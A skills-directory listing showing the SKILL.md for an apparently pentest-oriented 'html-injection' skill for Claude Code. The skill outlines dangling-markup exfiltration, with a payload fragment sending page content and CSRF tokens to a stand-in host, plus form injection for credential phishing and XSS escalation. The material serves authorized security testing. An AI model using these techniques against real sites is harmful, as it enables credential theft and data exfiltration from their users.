Skip to content
Back to skills

Html Injection

ASecurity

HTML injection / content spoofing — unsanitized input rendered as markup without full script execution. Covers dangling-markup data exfiltration, form/link injection (credential theft, action hijack), content spoofing/defacement, and escalation toward XSS. Tier 1. Payloads: payloads/xss.md + client-side.md. Use when input is reflected/stored as HTML but script appears filtered.

  • 16 stars
  • 0 votes
  • 0 copies
  • 8 views
  • Added November 17, 2026
securityrustbackend

Works with

  • cli
  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill html-injection --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Html Injection?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Html Injection
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-html-injection/badge)](https://www.skillsdirectory.com/skills/anandjogawade-html-injection)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: html-injection
description: "HTML injection / content spoofing — unsanitized input rendered as markup without full script execution. Covers dangling-markup data exfiltration, form/link injection (credential theft, action hijack), content spoofing/defacement, and escalation toward XSS. Tier 1. Payloads: payloads/xss.md + client-side.md. Use when input is reflected/stored as HTML but script appears filtered."
---

# HTML Injection / Content Spoofing

Markup injects even if `<script>` is blocked. Still exploitable — and often a step from XSS.

## Trigger phrases
`html injection, content spoofing, markup injection, dangling markup, form injection`

## Techniques
- **Dangling markup exfiltration:** inject unterminated markup (`<img src='//oob.example/?`) to capture page content (incl. CSRF tokens) up to the next quote — a CSP-safe data-exfil fallback.
- **Form/link injection:** inject a `<form>` posting to your server (credential phishing on the trusted origin), or a link/`<base>` to hijack actions (→ `form-action-hijack`).
- **Content spoofing/defacement:** inject misleading content/links (phishing, fake messages) — report as content spoofing.
- **Escalate to XSS:** retry with tags/handlers and sanitizer bypasses (→ `stored-xss`/`reflected-xss`, `${CLAUDE_PLUGIN_ROOT}/payloads/xss.md`); markup injection + a sanitizer gap = XSS.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP) or headless browser for client-side; Windows-local last resort. If a Burp MCP is present, route requests through Burp proxy for visibility and send manual PoCs to Repeater (see `zazy-orchestrator`).

## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.

## Evidence
The injected markup rendered in context, the impact (captured data / spoofed content / form), and whether it escalates to XSS.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.